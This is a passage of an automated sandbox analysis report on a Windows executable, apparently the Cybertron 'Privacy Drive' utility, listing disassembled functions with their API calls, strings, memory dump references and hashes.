GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 004195F1
GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 00419628
GdipAddPathArcI.GDIPLUS(00000000,42B3FFFF,?,?,?), ref: 0041965E
GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 00419683
GdipClosePathFigure.GDIPLUS(00000000), ref: 0041968E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipPath$CloseFigureReset
String ID:
API String ID: 1165678104-0
Opcode ID: 9b456eee7caa8cd7400d12114530425a58d208804b994febc350a3e22252b5df
Instruction ID: d2abe810883e9127a5072a582f8e754f657d44ff77088b5ba8e8c91eca39bea1
Opcode Fuzzy Hash: 9b456eee7caa8cd7400d12114530425a58d208804b994febc350a3e22252b5df
Instruction Fuzzy Hash: C1314A71504209EFDB209F69DE64AABBFF9EF44745F10842DF88887610D732E910EB60

Function 004B9450 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 275COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004B9701
_memmove.LIBCMT ref: 004B9716
_memmove.LIBCMT ref: 004B972B

Strings

t=X, xrefs: 004B97A8
t=X, xrefs: 004B94B7

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: t=X$t=X
API String ID: 4104443479-1178391202
Opcode ID: 79a9f8eebf31098dbf47203287711b78fd87398bf3c147cf498bd59d48a32082
Instruction ID: 576e28fcdbd6255d9ee24f4616a54731efba306f999c106dd8af0492228bc50d
Opcode Fuzzy Hash: 79a9f8eebf31098dbf47203287711b78fd87398bf3c147cf498bd59d48a32082
Instruction Fuzzy Hash: B2A17F71204605BBDB14DF21CC45FDBBBE9FF89744F04051ABA58CA290EB34E954CBA6

Function 004B4550 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 220registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(00000000,?,00000000,00000003,?,00000288,?,00000288,?,00000000,00000000), ref: 004B4853

Strings

!@, xrefs: 004B45B6, 004B4605
%sPortable.xml, xrefs: 004B45DB
t=X, xrefs: 004B46C7
aes, xrefs: 004B4759

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Value
String ID: !@$%sPortable.xml$aes$t=X
API String ID: 3702945584-2174588135
Opcode ID: 79fb52621954d3fb78e543622caf05ed8ea85ff9978e277aaa43c95a22e0e1da
Instruction ID: 25f4ce58266ebb0ed9df831637feb6a591a22c29c147037c3482931c5dc3d598
Opcode Fuzzy Hash: 79fb52621954d3fb78e543622caf05ed8ea85ff9978e277aaa43c95a22e0e1da
Instruction Fuzzy Hash: 869188709103589EEB20EF54CC49BDEBBB4BF45718F504199E508BB282D7745B84CFA6

Function 004A75F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

Part of subcall function 00403950: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0040398C

EnterCriticalSection.KERNEL32(005BE2CC,?,?,?,?,?,?,00000000,00000000), ref: 004A766C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 004A773A

Part of subcall function 004A6B80: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6BCC
Part of subcall function 004A6B80: DeviceIoControl.KERNEL32(?,07770C34,00000000,00000000,00000000,00004186,B681F143,00000000), ref: 004A6BE6
Part of subcall function 004A6B80: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6C0D
Part of subcall function 004A6B80: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6C31
Part of subcall function 004A6B80: EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6C84
Part of subcall function 004A6B80: LeaveCriticalSection.KERNEL32(005BE2CC,?), ref: 004A6C97
Part of subcall function 004A6B80: EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6CC0
Part of subcall function 004A6B80: LeaveCriticalSection.KERNEL32(005BE2CC), ref: 004A6CCD

EnumWindows.USER32(Function_00001500,?), ref: 004A778D
EnumWindows.USER32(004A7820,?), ref: 004A7799

Strings

list<T> too long, xrefs: 004A7746

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeaveMessagePeek$EnumWindows$Concurrency::details::_Concurrent_queue_base_v4::_ControlDeviceInternal_throw_exception
String ID: list<T> too long
API String ID: 3016200981-4027344264
Opcode ID: 5b1af98e30a764c033c028efd539e04e818c7ec6fbb095fcb2a916587c88fa69
Instruction ID: 56bc04989fab07b3bb9b6566eda9424b4fbee7646f229446e837d79c6703114c
Opcode Fuzzy Hash: 5b1af98e30a764c033c028efd539e04e818c7ec6fbb095fcb2a916587c88fa69
Instruction Fuzzy Hash: 956199B46087018FC720DF28C884A5ABBE4FF9A714F14466EF959CB361D738E944CB96

Function 0040D5A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 0040E530: _memmove.LIBCMT ref: 0040E5A4

SHChangeNotify.SHELL32(08000000,00001000,00000000,00000000), ref: 0040D7DD

Part of subcall function 00401C40: _memmove.LIBCMT ref: 00401CCA

Strings

!@, xrefs: 0040D642, 0040D700, 0040D767, 0040D7E7
pdv.ico, xrefs: 0040D6D0
Privacy Drive, xrefs: 0040D717
%s%s, xrefs: 0040D71F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove$ChangeNotify
String ID: !@$%s%s$Privacy Drive$pdv.ico
API String ID: 1880328021-1887578971
Opcode ID: 197c7df9783695546f8ec353bc5f4195fb4fcdb933b5f6b49561bf1dbda42f9e
Instruction ID: a484dc032fc2894d9f904c88144a76d52c1ebb910f2420f10820118e3c17c107
Opcode Fuzzy Hash: 197c7df9783695546f8ec353bc5f4195fb4fcdb933b5f6b49561bf1dbda42f9e
Instruction Fuzzy Hash: BA811570D04248EEDF10DFE9C959BDEBBB0BF14318F204529E014B7291D7B92A48CBA6

Function 004B50A0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 140registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,B681F143), ref: 004B511E
RegCreateKeyExW.ADVAPI32(80000001,Software\Cybertron\Privacy Drive,?,?,?,0002001F,?,005BE250,00000000,B681F143), ref: 004B5145
RegCloseKey.ADVAPI32(00000000), ref: 004B5223

Strings

Software\Cybertron\Privacy Drive, xrefs: 004B513B
4[, xrefs: 004B52AA

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Close$Create
String ID: 4[$Software\Cybertron\Privacy Drive
API String ID: 359002179-1004237525
Opcode ID: 1d4b454dd639f5500d250ce712c737f673ec46d4253e1cfd212f116c70e7db5e
Instruction ID: 7fc5252bc8dff4fcc8be655ec8b191145f753d9561629634891003532d1dffe7
Opcode Fuzzy Hash: 1d4b454dd639f5500d250ce712c737f673ec46d4253e1cfd212f116c70e7db5e
Instruction Fuzzy Hash: 09519570A00219AFEB24DF65CC45BAEBBB4FB04704F1041AEE405A73C2E7B56948CF64

Function 004302C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 004304BD
RegisterClassExW.USER32(00000030), ref: 004304E6
__CxxThrowException@8.LIBCMT ref: 00430501

Part of subcall function 00502BEB: RaiseException.KERNEL32(?,?,B681F143,005A7F20,?,?,?,?,?,004FFD4E,B681F143,005A7F20,?,00000001), ref: 00502C40

Strings

T@W, xrefs: 004304D8
0, xrefs: 004304A3

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ClassCursorExceptionException@8LoadRaiseRegisterThrow
String ID: 0$T@W
API String ID: 124629159-647002828
Opcode ID: ecc3f5c7a7f9f0bdd00b6177ce578745c6a1a0604df76345d6ebbd26b85f8c7e
Instruction ID: ce70b3ebfc1e80b7253cdaebd5798b6749c21fb3ed692d023f7c27f5bbe3783a
Opcode Fuzzy Hash: ecc3f5c7a7f9f0bdd00b6177ce578745c6a1a0604df76345d6ebbd26b85f8c7e
Instruction Fuzzy Hash: A561E2B0805388DEEB11CF64C55879ABFF4BF05308F24858DD059AB391D3BA9A0ADF91

Function 004435A0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 004A12FF
GdipSetStringFormatAlign.GDIPLUS(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 004A1317
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 004A1330

Part of subcall function 004CBC00: GdipCreateSolidFill.GDIPLUS(?,FFFFFFFF), ref: 004CBC55
Part of subcall function 004CBC00: GdipFillRectangle.GDIPLUS(?,00000000), ref: 004CBCAB
Part of subcall function 004CBC00: GdipDeleteBrush.GDIPLUS(00000000), ref: 004CBCC7

GdipDeleteStringFormat.GDIPLUS(00000000,?,0000000A,00000000,?,0000001D,?,FF323232), ref: 004A140B

Part of subcall function 004CB9E0: GdipCreatePen1.GDIPLUS(B681F143,B681F143,00000000,B681F143), ref: 004CBA22
Part of subcall function 004CB9E0: GdipSetPenDashStyle.GDIPLUS(00000000,?), ref: 004CBA38
Part of subcall function 004CB9E0: GdipDrawRectangle.GDIPLUS(?,?), ref: 004CBA8B
Part of subcall function 004CB9E0: GdipDeletePen.GDIPLUS(?), ref: 004CBAA2

Strings

@, xrefs: 004A1373

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$CreateDelete$AlignFillRectangle$BrushDashDrawLinePen1SolidStyle
String ID: @
API String ID: 1390250770-2766056989
Opcode ID: 1487fdf0435f6f3ae28c5813eefbb62a2b686aca0d601e20f29032d52ab73e47
Instruction ID: 14b28f633d388a5baa52ddcafb55058c1eeb352d5ebb892b816658f15592212f
Opcode Fuzzy Hash: 1487fdf0435f6f3ae28c5813eefbb62a2b686aca0d601e20f29032d52ab73e47
Instruction Fuzzy Hash: 58419F75208345AFD714CF14CC45F9BBBE8FB99754F000A2EF955A62E0D770A908CB9A

Function 0044E000 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 004A12FF
GdipSetStringFormatAlign.GDIPLUS(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 004A1317
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00539A78,000000FF), ref: 004A1330

Part of subcall function 004CBC00: GdipCreateSolidFill.GDIPLUS(?,FFFFFFFF), ref: 004CBC55
Part of subcall function 004CBC00: GdipFillRectangle.GDIPLUS(?,00000000), ref: 004CBCAB
Part of subcall function 004CBC00: GdipDeleteBrush.GDIPLUS(00000000), ref: 004CBCC7

GdipDeleteStringFormat.GDIPLUS(00000000,?,0000000A,00000000,?,0000001D,?,FF323232), ref: 004A140B

Part of subcall function 004CB9E0: GdipCreatePen1.GDIPLUS(B681F143,B681F143,00000000,B681F143), ref: 004CBA22
Part of subcall function 004CB9E0: GdipSetPenDashStyle.GDIPLUS(00000000,?), ref: 004CBA38
Part of subcall function 004CB9E0: GdipDrawRectangle.GDIPLUS(?,?), ref: 004CBA8B
Part of subcall function 004CB9E0: GdipDeletePen.GDIPLUS(?), ref: 004CBAA2

Strings

@, xrefs: 004A1373

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$CreateDelete$AlignFillRectangle$BrushDashDrawLinePen1SolidStyle
String ID: @
API String ID: 1390250770-2766056989
Opcode ID: df780c9b89806ddd2244de07eae6b77a6dd4d85a52d1d2217e0446241a266bbd
Instruction ID: b7abb43a99e67582e8b9c6702a6cb53732e53b392afc1180374469986e2ec2a6
Opcode Fuzzy Hash: df780c9b89806ddd2244de07eae6b77a6dd4d85a52d1d2217e0446241a266bbd
Instruction Fuzzy Hash: 77418F75208345AFD710CF14CC45F9ABBE8FB99764F10062EF955A62E0D770E908CB9A

Function 00433670 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000), ref: 004337E0
RegisterClassExW.USER32(00000030), ref: 00433809
__CxxThrowException@8.LIBCMT ref: 00433824

Part of subcall function 00502BEB: RaiseException.KERNEL32(?,?,B681F143,005A7F20,?,?,?,?,?,004FFD4E,B681F143,005A7F20,?,00000001), ref: 00502C40

Strings

cbfx_RegistrationReminderMiniWnd, xrefs: 004337FB
0, xrefs: 004337C6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ClassCursorExceptionException@8LoadRaiseRegisterThrow
String ID: 0$cbfx_RegistrationReminderMiniWnd
API String ID: 124629159-1075444511
Opcode ID: 0c4f07d3c3c0b5ac19bb10889e5a2d81d977fdc6205c29ad623ec6d496be10a3
Instruction ID: a3992295d61452cf69781cd4accdc83b249b2407783834dd3bd975dfe31615ae
Opcode Fuzzy Hash: 0c4f07d3c3c0b5ac19bb10889e5a2d81d977fdc6205c29ad623ec6d496be10a3
Instruction Fuzzy Hash: 8351D0B0801349DEEB01CF94D95879ABFF4BF06318F248589D0586F291D7BA9A4ADFD0

Function 004D3530 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,005BDD4C,0041D3DB), ref: 004D354A
GetProcAddress.KERNEL32(00000000), ref: 004D3551
GetCurrentProcess.KERNEL32(005BE4E0), ref: 004D3562

Strings

kernel32, xrefs: 004D3545
IsWow64Process, xrefs: 004D3540

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32
API String ID: 4190356694-3789238822
Opcode ID: 903152296c2ea943cea53cf59f37d2001c8a9bd07ba76ec03c0ff66c12262fcd
Instruction ID: 4eb353d676ab66b3e10b858cb82342fdd131ff1ba5c45fbc87e9acfb05d64e88
Opcode Fuzzy Hash: 903152296c2ea943cea53cf59f37d2001c8a9bd07ba76ec03c0ff66c12262fcd
Instruction Fuzzy Hash: ACF01C769413109BCF79EF64FC1AEC53BA6F724746F080A06F411D32A0C778A448EB51

Function 004EE390 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

GdipCreateRegion.GDIPLUS(?,B681F143,?,?,?), ref: 004EE3C5
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?), ref: 004EE4AC
GdipSetStringFormatMeasurableCharacterRanges.GDIPLUS(?,00000001,00000000), ref: 004EE4D8
GdipGetRegionBounds.GDIPLUS(00000000,?,00000000,?,00000000,?,00000000,?,?,?), ref: 004EE527
GdipDeleteRegion.GDIPLUS(00000000), ref: 004EE54F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Region$String$BoundsCharacterCreateDeleteFormatMeasurableMeasureRanges
String ID:
API String ID: 2862540553-0
Opcode ID: d21c68119743c5368ee9835d4fb6ca6a56a2c54fbb75767020cfc1576227397e
Instruction ID: 24c2b81997005cf861c3c7e384ce6e9b24adc1cd5d3a5120f466a13335877674
Opcode Fuzzy Hash: d21c68119743c5368ee9835d4fb6ca6a56a2c54fbb75767020cfc1576227397e
Instruction Fuzzy Hash: DA5179B1900209EFDB14CF96D894BDEBBB4FF49305F10861AE416BB290D775A908CFA4

Function 004754B0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 004A83C0: _memset.LIBCMT ref: 004A83E7
Part of subcall function 004A83C0: _memset.LIBCMT ref: 004A8486
Part of subcall function 004A83C0: GetVersionExW.KERNEL32(00000114,?,00000110,005BDDE8,00000000,000003B8), ref: 004A8495

Part of subcall function 00412230: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00412288

InitializeCriticalSection.KERNEL32(005BE2CC,?,?,?,?,000000FF,?,00401225), ref: 00475679

Part of subcall function 00403950: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0040398C

Strings

!@, xrefs: 004755F1
4[, xrefs: 0047563F
[, xrefs: 004756B0
